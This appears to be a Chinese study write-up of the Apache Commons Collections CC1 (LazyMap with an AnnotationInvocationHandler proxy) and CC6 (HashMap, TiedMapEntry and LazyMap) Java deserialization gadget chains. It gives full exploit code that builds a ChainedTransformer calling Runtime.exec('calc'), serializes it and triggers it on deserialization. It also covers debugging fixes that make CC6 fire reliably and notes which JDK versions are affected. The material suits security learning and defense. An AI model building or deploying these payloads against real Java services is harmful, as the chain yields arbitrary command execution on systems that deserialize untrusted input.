CC1_LazyMap.get.transform && CC6

分析
前面学习的是TransformedMap.checkSetValue.transform,现在学习LazyMap.get.transform
找到LazyMap的get方法里面,调了factory.transform

factory是Transformer类
但LazyMap构造器是protect,还是用静态方法decorate传参返回创建的对象
1
| Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|


之后找谁里面有调get,找到还是AnnotationInvocationHander invoke方法里有调到get方法, Map 类的memberValues也可控,传lazyMap
1 2 3 4
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor2 = c.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true); constructor2.newInstance(Target.class, lazyMap);
|
要触发AnnotationInvocationHander 的invoke方法,想到动态代理
因为刚好AnnotationInvocationHander实现InvocationHandler,也相当于一个动态代理类,它代理一个类,那个类调用方法,就触发动态代理类AnnotationInvocationHander的invoke方法就可以来调到LazyMap.get
还有AnnotationInvocationHander的invoke方法两个if条件: 不能调equal方法,不能调有参方法

而且还要与readObject连上
恰好因为AnnotationInvocationHandler接受Map类对象,反序列化AnnotationInvocationHandler对象,readObject里面会调Map类对象的entrySet方法
这个方法也能绕过上面两个if条件

所以:动态代理类AnnotationInvocationHandler(即Proxy.newProxyInstance时传入的调用处理器)代理AnnotationInvocationHandler接受的Map类对象,使得反序列化时会因调传入的Map类对象方法,触发动态代理类的invoke方法从而调到LazyMap.get
执行:AnnotationInvocationHandler.readObject.(执行mapProxy.entrySet触发动态代理invoke)–>AnnotationInvocationHandler.invoke.(memberValues.get)–>lazyMap.get.(factory.transform)–>ChainedTransformer.transform
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor2 = c.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true); InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap); Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = constructor2.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin");
|
CC1:
LazyMap:
AnnotationInvocationHandler.readObject.Map.setEntry
AnnotationInvocationHandler.invoke.memberValues.get
LazyMap.get.factor.transform
. ChainedTransformed.transform
ConstantTransformer.tansform
InvokerTransformer.tansform
版本:
jdk8u_71:AnnotationInvocationHandler.readObject中没有调setValue,就没有TransformedMap这条链了
由于动态代理反序列化的影响,LazyMap这条链也不能用了
CC6

cc1受版本的影响,cc6不受版本的影响
后面LazyMap.get.ChainedTransformer.transform与CC1一样
不同的是:
hashMap的readObject里面调hash方法,key.hashCode–>TiedMapEntry.hashCode.getValue–>TiedMapEntry.map.get(key)–>LazyMap.get
分析
找到TiedMapEntry.getValue调了get方法,它自己的hashCode调了getValue方法


所以下面的构造与前面学的URLdns链一样
HashMap.readObject.hash–>key.hashCode
并且还是得注意put的时候就会触发hash,hashCode,就要处理一下这儿

对put这儿的处理是与后续利用链有关的
回顾一下在URLdns中,后续利用链URL的hashCode中进行if判断后执行,所以反射修改hashCode值非-1防止触发

这里套的层数多,可修改的范围也大
防止put触发利用链
直接从LazyMap.get.factor.transform 这里断开
factor先放一个其他的不在构造链上的东西,put后再反射修改回来
decorate第二个参数是Transformer类的,所以传ContantTransformer就可以


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>(); Object o = map2.put(tiedMapEntry, "bbb");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryFiled = lazyMapClass.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,chainedTransformer);
serialize(o); unserialize("ser.bin");
|
处理put对lazyMap.get调后续利用链的影响
修改之后却没有弹出计算器来??
调试看到执行put时,调到LazyMap.get方法里面map没有key就会put key(也就是LazyMap类的这么一个功能),所以这里就已经放入key并返回
1 2 3
| HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
|
这儿的key来自TiedMapEntry.getValue.get(key),即实例化TiedMapEntry时传的aaa


所以反序列化的时候执行到LazyMap的get时map有key值,就不会调factor.transform了,也就不会触发后面的链
在put后删除key就可以了
所以put的时候需要有两点注意:
- 会触发hashCode,消耗利用链,注意修改避开
- 跳转到LazyMap时,由于没有key会进入if返回有key的map,等到反序列化的时候,还是执行到LazyMap时,有key就不会进入if调后续利用连了
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); map.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryFiled = lazyMapClass.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin");
|
CC6
HashMap.readObject.hash(key)->HashMap.hash.key.hashCode
TiedMapEntry.hashCode.getValue
TiedMapEntry.getValue.map.get(key)
LazyMap.get(key).factory.transform(key)
ChainedTransformed.transform
ConstantTransformer.tansform
InvokerTransformer.tansform